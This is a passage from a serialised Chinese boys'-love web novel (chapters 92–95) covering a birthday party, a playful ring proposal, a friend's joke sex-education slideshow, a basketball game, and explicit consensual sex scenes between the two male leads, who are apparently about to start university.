他勾唇轻笑,抬眼就见来势汹汹的化妆师咚!地在他面前扎了个马步,眼里满是要吃了他的怒气,他慢条斯理地熄了手机屏幕,轻声:“嗯?” “帅哥,口红不能吃也不许吃。”化妆师掏出补妆装备,凶狠地示意他弯个腰她够不着:“你饿了吃零食呗,你这身材多吃一百口都看不出来的。” 江淮抬脚勾来旁边的座椅,轻顿,抿了下唇:“……很明显吗?” “呵呵,你说呢。”化妆师夹着粉扑轻拍轻按,扎着马步给他补口红,刚想感叹感叹这嘴唇怎么有点肿,余光就瞥见校服男孩走到了江淮身旁。 嗯?化妆师恍然大悟:嗯! 见化妆师久久不动,江淮扭头轻声说:“等我一下。”说着他把手机反手递给楚明。 “好。”楚明接过,抬眼看着大屏。 “差不多了,”化妆师站起身来,要收好补妆用具时朝另一个男孩瞄了眼:“帅哥,你也补补?” 楚明微愣:“嗯?” “我操,素的啊,”化妆师看着他的脸愣了下:“我以为是化成这么帅的,我操,长得真牛逼!绝配!” 楚明&江淮:“……” 致辞结束便是吹蜡烛环节,蛋糕被推上来时江淮嫌弃地拧了下眉:太丑了。 但既然是吴珊的选择,他也只能接受。 放生日歌的前夕厅内灯光尽数关掉,伸手不见五指的黑暗里彩色光晕一点点蔓延开,江淮的半边侧脸被映亮,挺翘的鼻尖格外出挑,烛光将他勾勒出淡金色的柔和感。 楚明在旁边小声地提醒:“闭眼,许愿,吹蜡烛。” “嗯,”江淮抬了下眼:“你也是。” 隔着蛋糕两人相对而立,差不多两拳的距离,偏暗的身影交叠着印在大屏时却显得亲密无间。掌心合十阖眼许愿,几乎神同步地两人睁开双眼,对视一眼后微微俯身吹灭蜡烛。 “生日快乐!!”灯光亮起来的瞬间掌声雷动。 “啧,”江淮笑了笑,举起刀给蛋糕划了一刀便拉着楚明下台,等主持人被聚光灯打到,他问:“许的什么愿望?” “不是说说出来就不灵了?”楚明捏捏他的手:“你还要听吗?” “那不听了。”江淮小声地说:“等明年你再告诉我。” 楚明点头:“好。” 江淮需要露面的环节已经全部结束,他直接坐到楚明旁边,跟严越他们打完照面,又不可避免地去听了一会儿长辈的箴言,宴会便基本告结。 “让孩子们玩呗,我们就不掺和了。”吴珊他们先行离场,基本九点出头的样子,大厅就没剩多少人了。 “拆礼物喽,”严越伸了个懒腰:“敢不敢先看我送的,江哥!” “不要,”江淮嫌弃地扫了他一眼,扭头跟楚明说:“他回回送些腌臜玩意儿。” “这个我承认!”汤麟举起手,像个还没摆脱学生身份的好孩子:“楚哥你知道越哥去年送我的是什么吗?!” 楚明心说你不说我怎么知道,笑着问:“什么?” 汤麟瞬间炸了:“他奶奶个腿的,严越送老子一套女仆装!我操!” 楚明:“……” “哈哈哈哈……”严越笑着拍掌,轻咳一声解释说:“哎,也不能完全这么看。你怎么不说我同时还送你了一双球鞋,可花我半年生活费呢!” 汤麟理不直气也不壮地说:“那要不是有那双球鞋,我当晚就暗杀你了!” 围在礼物堆前,这伙兄弟闹成一团。 “去我家吧,”江淮看着厅前已经开始收拾舞台的工作人员,“晚点我再让人给你们送回家。” “好啊!好啊!” 让服务员把蛋糕打包,又捡了些方便外带的吃食,怕不够江淮还另点了几份外卖热食。 一行人走进小区的时候,夜风都泛出凉意,在小区里吹吹风,顺带取外卖,回到家里就直奔礼物而去。 赵逵逵抱着烧鸡边啃边看向成堆的礼物盒,笑嘻嘻地说:“我听说寿星过生日,第一个拆谁的生日礼物,谁就会很幸运。” “是吗?”江淮挑眉,脱了外套扯掉领带,大刀阔斧地坐好,弯腰去捡礼物盒。 楚明则坐在他旁边准备帮忙。 “那想也不用想要拆谁的了呗。”严越探出脑袋,目光在礼物堆里梭巡,忽然心生一计:“江哥,单看礼物外壳你能猜到哪份是楚明送的吗?” 江淮肯定地说:“能啊。” “为什么?”汤麟探出脑袋:“心有灵犀还是因为什么?我没谈过恋爱可别诓我,这么神奇吗?” 楚明忍不住笑笑:“因为两秒前他问我了。” 严越:“……” 汤麟不解:“嗯?你们俩说话了吗?” “傻逼,我话还没说完江哥眼神就飞出去了,”严越老练地回答:“还等着到我们看他俩的笑话吗!” 以汤麟为首的单手狗们集体惊呼:“我操!” 小心翼翼地拆开礼物盒,入目是一件小型木雕,并不繁杂,木盘上精细地坐落着一个少年和他的篮球。 九号球衣被“风”吹得微微鼓起,少年维持着运球的姿势,细致的纹路间依稀能看到篮球与脚步带出的虚影,而视线聚焦到少年的脸,恣意的额发、扬起的眉角,是意气风发的江淮。 “哇塞——” “我靠,这个牛逼……” 江淮愣了一下,他偏头看着楚明:“你还会木雕?” “会一点点,”楚明小声地说。 “我操,楚哥你有这本事我们怎么不知道?”赵逵逵亮起双眼,伸手想扒拉一下那颗球又生怕毁了这件精细的礼物,“怎么办,我也想要,这个好帅啊!” 楚明笑着歪了下头。 严越轻地挑眉,在一众惊呼声里他挪到江淮旁边,小声地说:“前年秦禾他妈过生,我带你去的时候,门口的小熊木雕,就是楚明送他妈的生日礼物。” 江淮晃了下神:“你怎么知道?” “你尿遁之后我独自吃饭,不问这些问什么。”严越慢慢退回来:“但没想到水平突然精进到此等地步,牛逼啊。” 江淮眸光轻动,他拉住楚明的手扣紧,凑他耳边小声地说:“我很喜欢。” “嗯,”楚明快速地在他耳垂落了个毫无重量的吻:“喜欢就好。” 木雕旁边还有个小木盒,江淮小心翼翼地打开,看清里面的内容时他轻地顿住:“现在?” 楚明默了一秒:“晚上——” “开开开!”严越仅用零秒就猜出里面是什么,带头鼓掌:“来大家一字排开,我们楚明要求婚了!” 闻声楚明眼睛都睁圆了,他看着江淮的眼睛,得到对方的轻颔首,他深呼吸后站了起来。 赵逵逵瞬间弹开:“我操!” 其余兄弟也震惊到了:“我操!!” 小盒子里是一对精致的木质戒指,楚明当时雕的时候没想过用作所谓“求婚”,只是单纯地想要拥有一些代表他们关系的物件——毕竟,占有欲这东西,不止江淮有。 “不用讲究太多,”江淮微抬下巴:“姿势无所谓,给我戴上就行。” 汤麟捧着脸开始起哄:“哟哟哟——” 没有主持也没有彩带更没有氛围,仅仅是极其平淡的夜晚,连客厅的灯都没开全。 楚明单膝跪地,垂眼,细致地把木戒推进江淮的中指,正要收回手,江淮就反拽住他的,拿起木戒为他戴上。 “啧,”严越挑眉,笑得合不拢嘴:“此情此景不亲一个说不过去吧!” 赵逵逵秒跟:“亲一个!亲一个!亲一个!” 起哄声里,江淮勾了下唇,他坐着而楚明单膝跪着,拉开的距离有些大。他兜住楚明的后脑勺朝自己按来,认真地在他唇上落下一吻,楚明慢半拍地迎上去,舌尖轻地舔了下。 “我操!” “呜呜呜!呼呼呼!!” 严越在旁边笑得肩头微抖:“哎哟,我操,宣布礼成了啊!” 蜻蜓点水后便挪开,楚明耳尖飘了点红,江淮仍面不改色,只是笑着把楚明揽进怀里,凑他耳边轻轻地说:“怎么办,还想要你。” 楚明没听明白:“嗯?” 江淮笑着咬了下他耳垂:“没什么,晚上说。先拆礼物吧。” 赵逵逵送了个球,还配套一些运动器械,挺杂的,也很实用;汤麟送了套眼部按摩仪;程远送的游戏机……林林总总,反正轮到拆谁的礼物谁就被“批斗”一句,说一没新意二没心意,大家笑成一团。 赵逵逵啃完鸡又啃鸭,晃着油手问了句:“越哥的呢?我挺好奇越哥送的什么。” “那可不兴好奇,”汤麟跟有ptsd似的,弹跳起来:“等会礼盒一打开摆着一套那什么用品,你尖叫都来不及!” “哎我操!”严越上一秒还笑着,下一秒立马弹起来:“毁我一世英名!汤子你过来,我保证不打你!” 汤麟立刻躲到江淮身后:“哎哎哎江哥!江哥救我救我!” 江淮:“……” 他轻顿,抬手扶了汤麟一把后,满足众人期待地拆了那个写着严越大名的礼物盒,正拆着后背被重地一压,他笑着拧眉:“操,谁他妈压我背了。” 楚明立刻扶了下他的背。 “越哥弄我!”汤麟立刻张开双臂站起来:“江哥我不是故意的!” 江淮:“……” 楚明笑着帮他把微皱的衬衫抹平,手心往上落在他肩头,凑上去看:“所以是什么?” “挺正常的,”江淮说:“一块机械表。” “哎?是吧!”严越笑起来:“老子也不是那么不靠谱的人!你们别自己心脏往我这揩!这表我挑了好久……” “啧,”江淮笑着点头:“谢谢。” 严越仰起头:“汤子,过来!” “呜呜呜对不起越哥,是我说错话了,你好你好你一辈子都好!”汤麟围着礼物盒乱窜,张牙舞爪的:“江哥楚哥救我!你们百年好合,救我救我!” 江淮无奈地摇了下头,对楚明耳语:“吵不过两分钟。” “看得出来,”楚明笑着挠了挠他侧颈,指腹轻轻摸过血管时他挑了下眉:“跳着呢。” “不跳你男朋友就没了,”江淮拉住他的手,从一堆礼物盒里站起来,抬眉说:“都吃点东西吧,吃完连垃圾带人一起走。” 程远抬头,玩笑道:“不是,这才几点就赶我们走了,江哥你怎么回事!” “十一点半了,我操。”赵逵逵惊了一跳:“我们这么能造?” 江淮点点头:“嗯哼。” 楚明笑着给他后腰来了一棉花拳,小声说:“委婉点。” “那不行,”江淮从后捏住他的手:“我想亲你了。” “嘘——”楚明连忙捂住他的嘴。 “拿人手短吃人嘴软的道理不懂吗?都吃都吃啊,粒粒皆辛苦,浪费粮食可耻,光盘行动啊!”严越瞥了眼他们俩,笑着开始招呼:“等会儿没玩够的呢,就跟我走,哥带你们玩点有意思的。现在先吃,吃吃吃!” 十多分钟后在严越的“领导”疏散下,客厅里落入安静,江淮躺在沙发里伸了个懒腰,轻哼一声:“吵得我耳朵痛。” “过生日闹才对啊,”楚明笑着捏了捏他的脸,弯腰收拾地上的狼藉,轻声说:“你先去洗澡吧,你洗得慢。” 江淮站起身来:“好。” 浴室传出淅淅沥沥的水声,楚明收完纸盒又放好那些礼物,手捏成拳按了按后腰,他正要准备收衣服,兜里的手机就跳进几条消息。 【严越】楚。 【严越】差点忘了,还有份礼。 【严越】沙发抱枕下,想给个surprise来着,闹太乱给忘了。 【严越】你等和江哥一起拆吧,毕竟他生日。 【Cming】好。 【Cming】谢谢。 【严越】不客气〔红心〕 楚明去拉开抱枕,里面放着个红色盒子,简单拆开后里面是个U盘。 “在看什么?”江淮穿着浴袍满身水气地从后抱住他,下巴搁在他肩窝。 “严越说忘记给你的礼物。”楚明挑了下眉:“不知道是什么。” 江淮浅浅扫了眼,“那你洗完澡我们一起看。” 楚明点了下头:“好。” 楚明洗澡速度一直很快,没几分钟笼着轻薄的睡衣就爬上床,江淮还套着那件浴袍,坐在床上把电脑放腿上。 “是什么?”楚明坐到他旁边,猜了猜:“写的一段程序?”最近那种程序爱心程序汉字挺火的。 江淮像是也不清楚,他把U盘插到侧边:“看看呗。” U盘里只放着一个文件,文件格式是ppt,文件名很简单:学习资料——建议楚哥专研版。 “什么鬼?”楚明挑了下眉:“严越劝学?” 江淮抿唇,口腔里微微鼓气,他面不改色地点开文件,很轻地“嗯”了一声。 楚明笑着勾住他脖子,以为他在生气这文件名的隐射意义,笑着亲了下他微微鼓起的腮帮:“生气了?” “嗯?”江淮挑眉:“没。” “那你——”楚明视线飘回屏幕时声音戛然而止。 PPT首页,标题加粗字体加大,一字一字清晰无比: “大学生性与健康课程之男同性恋做/爱教学。” 讲师:B大社心学院江教授—— 作者有话说:严:你们恋爱,哪环没我[墨镜] 第93章 第 93 章 “那先练练。”…… 看得出来这份课件是经过仔细研读的, 因为在页底备注区域内留着两行字: 不专业啊江教授,我专门在结尾配了个片当实践案例,给后来的学弟们更有效更专业的指导——严越。 楚明:“……” “嗯, ”江淮轻咳了声, 微微偏头看着楚明的脸,漫不经心地问了句:“想学吗?现在。” 楚明轻顿,有些不好意思地别开眼:“还是……下次吧。” “嗯,也行。”江淮嘴唇轻勾, 他笑着点开ppt放映。 首页过后是目录和教学目标, 紧接着下一页便是加粗加红的“教学提示”——但这也显然不是江教授加的。 教学提示之必备用品:安全套(新手建议标尺超薄平纹光滑款,老手你来学个屁)、润滑剂(水基润,注意量足量足量足)…… 确保楚明看完, 江淮淡声补充了句:“毕竟,准备工作没有……做好。” 楚明指尖轻地一捻,他舔了下发涩的唇, 轻点头:“嗯。” 话题实在走得有点让人面红耳赤, 他正要帮江淮把U盘拔出来,脑海中突然灵光乍现,他有些傻逼地问道:“你怎么知道……” 第三页是这玩意儿? “我又不是没有好奇心, ”江淮笑着按键, ppt每页走得飞快, 没到五秒就滑到尾张的视频链接口, 封图相当露骨, 在此处还有句留言: 思考许久还是放上一部唯美片,综合品鉴来看叫得挺销魂的。但不论如何,相信我,你比主角更性感, 也更美好。所以,请放心地做吧! 江淮抬手,无奈地一摊:“你花洒还没打开我就看到这页了,有什么办法。” 楚明:“……” 他一时之间不知道该说严越送汤麟的女仆装牛逼还是送他们这份总共345KB的文件更牛逼。 短暂的沉默里,江淮把枕头竖放,往后靠实时歪了下头,安静地看着楚明从脖颈烧到耳垂的淡淡薄红,他轻笑了声:“害羞啊?” 楚明指尖轻动,没答。 “啧,”江淮伸出右手,食指轻挑起他下巴,“那先练练。” 楚明没太听明白,微垂着的眼从他手腕凸起的青筋渐渐上移,定在他含笑的眼眸:“练什么?” 江淮笑笑没说话。 他单手端着电脑放到床头柜上的同时啪地关掉卧室顶灯,视野转瞬黑透,只剩下电脑屏幕还亮着白光,像一层极淡的清辉,打在江淮的半边脸上。 楚明愣了半秒,他看不太清楚江淮的眼神和表情,只感觉到腰间滑来一只手,后背一股推力压着他砸向江淮时,耳边落下一声低语:“坐我身上。” “嗯?”楚明轻顿,但还是照做,他手轻攀上江淮肩头借力,长腿才跨过江淮的腰,屁股便被温热的手心兜紧、用力往前压实,他哼了声,有些乱地坐实在江淮的小腹上。 “接个吻而已,”江淮单手抱着他的腰,比起平时要粗暴些地扣住他后脑勺朝自己按来,“放轻松点。” “嗯。”楚明轻阖眼,视觉主动被抛弃后,其余感知便如烈火般烧起来,鼻尖间尽数被江淮的气息填满,不需要探找,本能地他便衔住了江淮的唇。 今天江淮格外的好闻,手从衣服里探进去时皮肤似乎都要比平时更光滑细腻,他忍不住想摸想掐。 “对,”江淮换气的空当拍了下他的腰,示意他先停,听自己说话。 全身重量压在江淮身上不是楚明会干的事,他跨坐好时便膝盖承力,以一个跪姿转移自己身体的重量。听到江淮的声音,他很轻地移开少许距离,去细细地咬他耳垂。 比起唇,耳垂已经算是敏感地带,江淮抖了一下,他呼吸猝然收紧,下意识抱紧楚明的腰,声音微颤地说完后半句话:“对……别羞耻,直视自己的欲望。” 楚明很轻地点了下头:“嗯。” “阿楚,你性感得要命。”江淮说完主动把他下巴扳向自己,深深地吻了进去,手指若即若离地游荡在他后腰。 “你……也是。”指腹压了下他唇,楚明反客为主。 电脑屏幕因为太久未使用而自动息屏,卧室窗帘拉得严实,哪怕平时比较调皮的月光,也丝毫没能透进来。 呼吸声听着逐渐有些粗重,滚烫的气息轻地卷过唇角,楚明想直起些许,给到江淮一个喘息的机会,但这走神的片秒功夫里,江淮环住他的腰便往旁边摔去,后背猛地陷进床垫里,不算痛,但他明显感觉床板震了一下。 楚明被摔得懵然:“……嗯?” 薄被因为大动作而滑到江淮腰部,虚虚地搭着,他懒得拉也懒得扔,俯身很轻地吻了下楚明的唇以作安抚后,手指如蛇般灵活地滑进楚明裤腰,夏季的睡衣睡裤总是轻薄的,隔着衣料指腹的温度都能传导至少八九成。 楚明反应过来他要干嘛时,两层布料已经尽数被褪到膝弯。 江淮的掌心像火,所到之处尽被点燃,楚明感觉自己从里而外都是滚烫的,像被浸泡在翻涌的熔岩里上下起伏,发热的眼眶里,目光都有些涣散。 大腿内侧的区域格外敏感,尤其久久未经触碰。 江淮湿润的舌尖滑过时,楚明脑中一片空白,他手指尚还卡在对方的指缝,连抬起的力气都像被夺走,浮浮沉沉地感受着江淮的存在。 “看看我呢,”江淮晃了晃他的手,轻笑着从他腿间抬起头。 “嗯。”楚明抬眼,其实光线条件并不足以支撑他完全看清楚江淮,但江淮视线里的情绪却清晰地落进感知,他指尖轻轻地敲在江淮手背,郑重地好像是在按下同意键。 江淮轻地点头。 而后埋了下去,试探性地含住,全凭自己方便没管楚明死活地轻轻舔舐、打转。 肌肉绷紧、呼吸微滞,楚明身体里任何细微的变化他都感觉得到,江淮指尖一根根抬起,缓缓地抽离楚明收得过紧的指缝,“阿楚。” 楚明嗓音沙哑地回应了声:“嗯?” “主动点,”江淮微喘着,声音含混不清透着低沉的磁性,他的手绕到楚明后腰,微微用力挤到他腰窝之下,他食指中指相并,敲门似的往上叩了叩:“挺腰,宝贝儿。” …… 撂在枕头边的手机震了下,亮起的界面接连跳出几条消息,叮叮咚咚的。 混乱的呼吸起伏还没完全平复,楚明很沉地吐出一口气,想坐起来时床尾躺着的江淮轻轻拽了下他的脚踝。 楚明指尖轻抬,问了句:“你没力气吗?” “嗯……”江淮仰了回去,他指尖虚虚地勾着楚明凑过来拉他的手心。 轻得像猫毛蹭过,楚明按住他的手:“那我抱你去洗漱?” “不用,”江淮轻轻地呼出口气,说话吞咽间喉管还泛出些许涩意和轻微的疼痛,他偏过头:“我自己去。” “嗯,”楚明慢慢坐直,刚才简单收拾过,他滑过去轻地扶住江淮的腰:“那我陪你,顺便洗个澡。” 江淮点了下头:“好。” 进卫生间简单清理后,楚明光着身子快速洗澡,江淮瞥了一眼后淡淡收回视线,有些不自在地他又用清水漱了次口,身体里似乎还存在着没断掉的条件反射,他猛地咳嗽了下,“哎……我操。” 楚明动作顿住,朝他看去:“不舒服?” “没,”江淮摆摆手示意没事:“只是有点……不习惯。” “嗯?”楚明还想问来着,脑海里陡然翻涌过刚才昏天黑地里混乱的一幕幕,他恍然,小声地“嗯”了下。 收拾完回到床上,江淮嗓音还是哑的,他坐在床边抱着水杯慢慢喝水时,轻抬眼:“有消息,帮我看一眼。” “好。”楚明侧身解锁他的手机,看了一眼,“报平安的,群里人说都到家了。” 温水润完喉,江淮撂下水杯,爬到楚明旁边,躺下时搂住他的腰,浓重的困倦让声音显得轻飘,他下巴压在楚明肩窝里:“现在几点?” “一点多,”楚明心想折腾得是有点久了,明天严越他们在体育馆约球,进大学前掰手指头都能数清楚的还能一起玩的次数,不去可惜了。 他摸了摸江淮的脑袋,小声说:“得早点睡,我关灯了?” 江淮眼皮沉重,他累得连说话的精力都懒得调动,鼻音轻哼一声,落在楚明侧腰的手指点了点,便放纵地睡了过去。 关掉顶灯,卧室里再度落满暗色,但这次窗帘没完全拉实,淡淡的月辉勾勒出人影。 寂静里江淮的呼吸声极轻地落在耳膜,楚明搂着他,不知道为什么,垂眼看着他的脸,心像是软得融化掉了,他本能地收紧双臂,深深地抱住他。 “嗯……”江淮蹭了下,柔软的发丝撩拨过楚明的喉结,他半梦半醒地问了句:“爽吗?” 楚明指尖轻顿:“问我吗?” “嗯,爽吗?”江淮撩起眼皮,微微仰起头去看他的眼睛。 楚明咽了下唾沫:“……爽。” “那不然,”江淮勾了下唇:“我他妈看文字学半天,你要敢说不爽,我他妈废了你。” 楚明:“……” 他很轻地笑了声,问:“学?什么时候学的?” “刚刚,”江淮说:“严大师笔记。” 楚明震惊:“你看了那么多?” “嗯,”江淮话说得多了嗓音差点劈开,有些艰难地吞咽几次后他轻声说:“才几十页,没道导数题难。” 楚明挑了下眉:“是吗?” “嗯,”江淮又轻阖眼,这回是真困得人都软了,他含混不清地说:“明天再给你展示。”—— 作者有话说:对不起,最近稍有放纵,总是发得晚晚的。我道歉,下次不会了[可怜][可怜] 第94章 第 94 章 身体本能让欲望的横流显…… 严越吭哧吭哧从江淮手里抢到球权, 又吭哧吭哧游龙摆尾地越过楚明的防守,纵身一跃。嘭!地把球扣进篮筐,两指一并向天一滑:“江哥, 你不行啊!” 江淮:“……” “楚明也是, ”严越四根手指穿进发间,撩了撩头发:“怎么连我都防不住了?” 楚明:“……” 等严越飞一般地跑到罚球区准备投球,其余队员找准机会篮板抢球时,江淮特意横走两步走到楚明旁边, 手肘轻地带了下他:“专心点。” “你也是, ”楚明点了下头。 状态回来之后下半场比分强势追回,最后一小节江淮换下,赵逵逵蓄力已久地登场。 才出场就犯规, 傻逼地送给对方罚球机会。 江淮:“……” 最后半分钟,楚明跑长线抢在倒数半秒里艰难地投进一个内线球,“比赛”就此告结! “不是, 越哥你今天怎么这么亢奋?”赵逵逵趴在地上喘气不止, 无力地看着严越撩起球衣下摆,佯装擦汗,实际骚兮兮地跟观众席秀他的八块腹肌, 引得尖叫一片。 “嘘!”严越抬起食指压了下欢呼声, 轻笑一声后转身回到休息区。 赵逵逵:“……” 他白了严越一眼, 把一开始想说的话说完:“我觉得有必要尿检一下!” “检个毛线, ”严越扬起下巴, 愉快地说道:“有两位的状态明显不在线,给我机会我不秀,怎么可能!是吧,江哥楚明?” 江淮挑眉:“那来场单挑?” “那我肯定不来, ”严越笑了笑:“你和楚明倒是可以来一场。” 楚明抬眼:“嗯?” “好啊,”这话也挺合江淮心意,他站了起来:“来过我。” 楚明没有拒绝:“好。” 近距离防守难免会有身体接触,激烈的平和的,可控的不可控的……接连的攻守互换拦球进球,知己知彼势均力敌。 最后一次轮到楚明运球时,江淮用了身体抱防。 距离拉近,呼吸交混。 楚明快速运球,期间不经意地肩膀轻撞到江淮,即分即离的一次碰触,感受却像是无限制放大,身体瞬间被点燃。 两人俱是一愣。 比起之前,昨晚两人明显用了更多的信任和奉献,羞涩褪去,能更直白地正视对方,也正视自己。 按理来讲这会儿在球场,只是简单而模糊的身体撞击,应该激不起太大的涟漪,但此时此刻,他们却能清晰得感觉到,对方史无前例的……敏感。 “直接进吧,”错身时,江淮与他耳语,“现在防不住你。” “好。”心照不宣的,楚明跳步投球。 “我操,水都让你们放完了我们喝什么?”严越见那颗球毫无难度地落地,蹦起来时像个严肃的教练:“江哥你什么时候转行演员了?可是这演技连十八线都爬不上去啊!” “是啊是啊,连我都看出来了!”汤麟也站出来:“江哥你甚至手臂都没抬一下。” “……”面对队友们的集体抗议,江淮笑着挑了下眉:“我乐意。” 队友们:“……” 单手狗尤其见不得这种,赵逵逵首先发起对楚明的单轮攻势,接下来几位球员也争相排队想感受感受楚明的战力,场面一时间诡异地有序起来。 捡完球,抬眼面对排成长队的“防守员”,楚明徐徐地呼出一口气:“轮战啊?” 赵逵逵点头:“嗯嗯嗯!” 楚明轻挑了下眉,江淮不上场他便毫无压力,运着球往后退出两步,他抬了抬下巴:“一起来!” “我操?!”震惊归震惊,但他们还是一窝蜂地上了。 严越简单扫过两眼,这一轮次楚明状态不止在线,还异常超标,走位灵活而风骚地接连绕开防守,显然这局稳了。 他两步一跨绕到江淮身后,模仿鬼出没,特意小声地说:“我寻思着,你们俩这状态不对啊。” “……”江淮习以为常,毫无反应地回答:“你又要发表什么言论?” “言论谈不上,但按我的经验来看,”严越食指戳了戳下巴,一副神算子的模样,他想了想:“昨晚你们开荤了?” 江淮轻顿,没回答,只是呵了一声:“你有哪门子的经验?” “啧,先别急着质疑我啊,”严越说:“没吃过猪肉,还没见过猪跑吗?”他撞了下江淮的后背:“刚打球,你们之间那种又黏又不自在的状态,我很难不多想。” “你打球注意力飞那么远?”江淮挑了下眉,上次也是,他对观众席有没有人看他这事毫不知情,但严越却一开始便感觉到了,甚至从始至终都关注着,不知道的以为他长了几百双眼睛。 “基操基操,”严越说:“但凡我能像你一样专注,考A大的就是我了。别绕我话题啊,江哥,你俩昨晚真开荤了?” 江淮轻抿唇,声音难得轻了些:“没。” “嗯……那我知道了。”严越挑眉,他伸手搭了下江淮的肩头,声调沉稳地开口:“要今天还不太适应的话,试试热敷,几分钟就行,另外别吃硬食;喉咙不舒服呢就试试温盐水漱口,能消炎消肿。” 挺加密的对话,但江淮还是听出来里面的信息,他愣了一下:“操,你怎么猜到的?” “respect了?该的该的。”严越轻挑眉,压低声音说:“你不觉得那份课件格外有温度有情怀吗?你爸教得太学术,光是爱抚舔/弄那叫屁的前戏,你对象性羞耻都还在呢。所以我建议先口后做,逐渐适应逐渐开拓……你就说我是不是大师吧!” 江淮:“……” 他眯起眼睛,瞥了严越一眼:“你牛逼。” “我也觉得我牛逼,”严越拍了拍他的肩头,松开,伸了个浅浅的懒腰:“别的不说,我生日送我件专业滑板就行。” 江淮看着他:“你会?” “这不是打算学么,”严越说:“什么时候你滑板到我什么时候开发新技能,江哥你就说有没有纪念意义!” 江淮点了下头:“……好。” “好哥们!”严越笑了笑:“有问题找我,随时在线!” 今晚体育馆承接小型赛事,没玩尽兴他们便悻悻然离场,简单去隔壁火锅店聚了个餐,讨论讨论以后的大学生活,天黑透之后就各自回家。 江淮握着楚明的手,晃了晃:“等我买瓶水。” 偏头旁边是家还亮着灯的24小时连锁便利店,楚明停下脚步,关心地问了句:“嗓子还不舒服?” “不是,”江淮说:“刚才吃得太咸,很渴。” 楚明点了下头:“好。” 等江淮进到旁边冰柜去挑水时,楚明则站在门口等他,原意是想看看收银台前的架子上有没有润喉糖,可以给江淮含着,但视线淡淡扫过顶上摆着的盒子时,他脑中陡然浮现昨天那页“教学提示”。 他一字不差地记着。 鬼使神差的,他抬手,两指夹着盒子拿起,淡淡扫过那行宣传词,翻转,认真地打量着它的产品参数。 收银员看了楚明一眼,抬眼就见挑完饮料的男生无声无响地走来,直觉有什么,她咽下要说“这边结账”的话,佯装很忙地开始翻看电脑。 “在研究什么?”江淮下巴轻地搁在楚明肩窝,小声地问。 楚明身子微僵,他微微偏头,鼻尖蹭过江淮的脸颊,他淡定地把盒子放回原位:“研究研究实物。” 江淮直起身,把苏打水放台上调付款码时,轻声问:“研究明白了吗?” 哔地两声,收银员结账完成。 楚明帮他拿好水,伸手带了他手腕一下,边往外走边拧瓶盖:“……也许。” “嗯,”江淮笑笑,接过水瓶喝了两口。 回到家简单收拾完,两人干净整洁地坐到书桌前。 “是,本来就不难,”楚明单手托腮,偏了下头说:“我之前练的时候,感觉它也就英语阅读C篇的难度。” “同感,”江淮把四级试卷翻了个面,转了圈笔轻敲在卷面的翻译题部分:“但这玩意儿……” “随便翻,”楚明说:“没什么讲究。” 江淮点了点头:“哦。” 比起高中的学习节奏,现在偶尔学点东西,简直跟天堂无异,楚明准备一时间去考考雅思,江淮先得玩玩四六级。 充实而平淡地各自过完一两套真题卷,江淮点开电脑,想休息时放段听力磨磨耳朵,但手实在是偏,毫无预警地他把昨晚临时存下的文件点开了。 两人相视一眼,诡异地安静了下来。 “也能学,”江淮面不改色地点开自动放映,在空格键上敲了两下:“要学吗?” 楚明看着他,“你——” “买了,”江淮不需要听都知道他要说什么,“网上闪送的比较齐全。” 拍灭台灯,书房里的光线便柔和温暖得多。 字不多,简单过完一遍ppt内容,没放后面的视频,江淮起身往客厅去,楚明看了他一眼,以为他是上厕所,收回视线把页面调回去两页,认真地复盘。 夏夜总比白昼要舒适得多,微微燥热的温度包裹着肌肤,属于休息的时光静谧而绵长。 书桌上的手机亮了一下,楚明看去。 【狗】来卧室。 【Cming】好。 楚明关掉做过细小批注的文件,没做保存,往卧室走时,他脑子里下意识对学的习内容进行梳理总结,以至于进到黑漆漆的房间,连反应的动作都没做出,便被江淮按倒在床上。 呼吸陡然变沉,肌肤相贴时细密而敏感的碰撞让神经也跟着紧绷。 情.欲如潮般翻涌着,后知后觉膨胀着的心跳起伏让交流都化为无声。 温热的吻一串串落下,楚明微微偏头,任由江淮在他脖颈上胡乱地啃舔,视线逐渐清晰,能完全适应漆黑环境时,他看清楚了床边被江淮一字排开的小盒小瓶。 身体本能让欲望的横流显形。 彼此的变化让吻变得更加激烈,江淮的手经不住地往下,像学成归来迫切展示以求奖励的小孩,稍一转腕便朝楚明身后探去。 感受到江淮不太明显的停顿,楚明明知故问:“嗯?” “我……”江淮舔了下唇,他正要说话,楚明扶着他腰的手利落辗转,拽下江淮的裤腰时也不忘温柔地吻他。 掌心贴紧他侧腰,屈膝一顶。 位置瞬间颠倒,他精准地夺走江淮手里攥着的东西,很轻地放到自己能轻松拿到的领域,叼着江淮耳垂时,微喘着问:“怎么,没学会?” 江淮立刻否认:“不是……” 他伸手去抓楚明的腰,想要找到发力点把对方重新压回身下拿到主导权,楚明忽地吻向他脖颈,这一下吻得有点深,他承受不及地仰了仰头,指尖连同身体都开始发软,变得有些轻飘飘的。 楚明在他耳边笑了声,慢慢去找他的手,十指交叉扣紧,稍作停留便又寻到锁骨,不断向下落满数不清的印迹。 江淮不自觉地轻阖双眼,他张了张嘴,含糊不清地说:“你起来……” 尾音颤颤的。 楚明“嗯”了声,但没给他机会。 身体漾出热意,江淮往回抽手反去抓楚明时,楚明看了他一眼,下一秒他两只手腕被扣紧,反剪着压向头顶。 呼吸微热,缱绻而柔软。 直到一抹微凉融进热烫,江淮抖了一下,想跃起却被楚明轻松压回去。 他偏了下头错开楚明的唇,声音哑得不像话:“你他妈……在干什么?” 不是才学? 楚明汗湿的碎发垂在额间,垂眸看向他,轻声:“你说呢?”—— 作者有话说:关于作者铺垫了一万次楚明“学习能力强”这件事…… 还有两章就完结喽[可怜][可怜]〔不开玩笑,这回包估得准〕 第95章 第 95 章 “我来……”…… 呼吸洒在脖颈, 楚明的声音落进耳蜗,江淮没听清,很轻地“嗯?”了一声。 “亲我。”楚明说。 江淮意识隐隐有些混沌, 他眨了眨眼, 不太适应地弓了下身体,但楚明却不罢休地继续说:“乖,亲我。” 嗓音像灌了酒又沾了药,听得人心头发颤, 迷蒙间江淮循着声音找去, 用了些力气地仰起头去够他的嘴唇,没太够着,只是气息轻轻撩擦过。 楚明笑了声, 微微俯身主动碰了下他的唇,又移开少许等他来,慰道:“再亲。” 江淮呼出一口长气, 情难自抑地去追吻, 意识被其余占据,沉迷之时完全留意不到其他……脖颈因为仰头的动作而微微泛酸,他轻拧了下眉, 正要说话楚明就轻笑着探进他的唇齿间。 温和地纠缠着。 人的身体很神奇, 自适应能力也比想象中强得多……楚明轻挑了下眉, 惊诧了半瞬, 又立刻关切地凑到江淮的耳边, 柔声问他:“有没有不舒服?” 江淮没有说话。 